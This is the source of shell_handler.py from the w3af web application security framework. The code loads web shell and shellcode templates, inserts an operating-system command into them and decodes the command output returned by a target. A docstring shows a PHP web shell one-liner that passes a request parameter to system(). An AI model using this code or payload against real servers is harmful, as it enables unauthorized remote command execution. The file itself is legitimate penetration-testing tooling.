PageRenderTime 54ms CodeModel.GetById 28ms RepoModel.GetById 0ms app.codeStats 0ms

/w3af/plugins/attack/payloads/shell_handler.py

https://github.com/andresriancho/w3af
Python | 171 lines | 140 code | 5 blank | 26 comment | 0 complexity | 78f6048ad8e85bfc3ed98d282a16b758 MD5 | raw file
  1. """
  2. shell_handler.py
  3. Copyright 2009 Andres Riancho
  4. This file is part of w3af, http://w3af.org/ .
  5. w3af is free software; you can redistribute it and/or modify
  6. it under the terms of the GNU General Public License as published by
  7. the Free Software Foundation version 2 of the License.
  8. w3af is distributed in the hope that it will be useful,
  9. but WITHOUT ANY WARRANTY; without even the implied warranty of
  10. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  11. GNU General Public License for more details.
  12. You should have received a copy of the GNU General Public License
  13. along with w3af; if not, write to the Free Software
  14. Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  15. """
  16. import os.path
  17. import base64
  18. import functools
  19. import w3af.core.data.kb.knowledge_base as kb
  20. from w3af.core.controllers.exceptions import BaseFrameworkException
  21. from w3af import ROOT_PATH
  22. SHELL_IDENTIFIER_1 = '15825b40c6dace2a'[::-1]
  23. SHELL_IDENTIFIER_2 = '7cf5d4ab8ed434d5'[::-1]
  24. SHELL_IDENTIFIER = SHELL_IDENTIFIER_1 + SHELL_IDENTIFIER_2
  25. CMD_TO_RUN_CONSTANT = '__CMD_TO_RUN__'
  26. def get_webshells(extension, force_extension=False):
  27. """
  28. This method returns a webshell content to be used in exploits, based on
  29. the extension, or based on the x-powered-by header.
  30. Plugins calling this function, should depend on
  31. "infrastructure.server_header" if they want to use the complete power of
  32. this function.
  33. """
  34. return _get_file_list('webshell', extension, force_extension)
  35. def cmd_replace(shellcode_content, _command):
  36. return shellcode_content.replace(CMD_TO_RUN_CONSTANT, _command)
  37. def get_shell_code(extension, command, force_extension=False):
  38. """
  39. Similar to get_webshells but returns a code that when it is evaluated runs
  40. `command` in the operating system.
  41. Example:
  42. get_webshells() returns:
  43. "<? system( $_GET['cmd'] ) ?>"
  44. get_shell_code() returns:
  45. "system('ls')"
  46. :param extension: PHP, PY, etc.
  47. :param command: The operating system command to execute
  48. :param force_extension: Only return the shellcode for extension
  49. :return: (The CODE of the web shell, suitable to use in an eval() exploit,
  50. The extension for this particular shellcode,
  51. A function that generates new shellcodes based on a command)
  52. """
  53. result = []
  54. shellcodes = _get_file_list('code', extension, force_extension)
  55. for file_content, real_extension in shellcodes:
  56. custom_replacer = functools.partial(cmd_replace, file_content)
  57. this_shellcode = custom_replacer(command)
  58. result.append((this_shellcode, real_extension, custom_replacer))
  59. return result
  60. def extract_result(body):
  61. if SHELL_IDENTIFIER_1 not in body or SHELL_IDENTIFIER_2 not in body:
  62. msg = 'Unable to execute remote command, result extraction' \
  63. ' failed. Response body was "%s".' % body
  64. raise BaseFrameworkException(msg)
  65. idx_1 = body.index(SHELL_IDENTIFIER_1)
  66. len_1 = len(SHELL_IDENTIFIER_1)
  67. idx_2 = body.index(SHELL_IDENTIFIER_2)
  68. raw_result = body[idx_1 + len_1:idx_2]
  69. try:
  70. result = base64.b64decode(raw_result)
  71. except TypeError:
  72. msg = 'Unexpected base64 decode error found while trying to retrieve'\
  73. ' the command output.'
  74. raise BaseFrameworkException(msg)
  75. return result
  76. def _get_file_list(type_of_list, extension, force_extension=False):
  77. """
  78. :param type_of_list: Indicates what type of list to return, options:
  79. - code
  80. - webshell
  81. :return: A list with tuples of filename and extension for the webshells
  82. available in the webshells directory.
  83. """
  84. known_framework = []
  85. uncertain_framework = []
  86. path = os.path.join(ROOT_PATH, 'plugins', 'attack', 'payloads', type_of_list)
  87. path += os.path.sep
  88. if force_extension:
  89. filename = path + type_of_list + '.' + extension
  90. real_extension = extension
  91. known_framework.append((filename, real_extension))
  92. else:
  93. powered_by_header_list = kb.kb.raw_read('server_header',
  94. 'powered_by_string')
  95. file_list = [x for x in os.listdir(path) if x.startswith(type_of_list)]
  96. file_name = '%s.%s' % (type_of_list, extension)
  97. if file_name in file_list:
  98. file_list.remove(file_name)
  99. file_list.insert(0, file_name)
  100. for shell_filename in file_list:
  101. filename = path + shell_filename
  102. real_extension = shell_filename.split('.')[1]
  103. # Just in case... this saves me from gedit and joe which save the
  104. # old files like code.php~
  105. if real_extension.endswith('~'):
  106. continue
  107. # Using the powered By headers
  108. # More than one header can have been sent by the server
  109. for h in powered_by_header_list:
  110. if h.lower().count(real_extension):
  111. known_framework.append((filename, real_extension))
  112. break
  113. # extension here is the parameter passed by the user, that can be ''
  114. # (this happens in dav)
  115. uncertain_framework.append((filename, real_extension))
  116. # We keep the order, first the ones we think could work, then the ones that
  117. # may work but... are just a long shot.
  118. known_framework.extend(uncertain_framework)
  119. res = []
  120. for filename, real_extension in known_framework:
  121. try:
  122. cmd_file = open(filename)
  123. except:
  124. msg = 'Failed to open filename: "%s"'
  125. raise BaseFrameworkException(msg % filename)
  126. else:
  127. file_content = cmd_file.read()
  128. cmd_file.close()
  129. res.append((file_content, real_extension))
  130. return res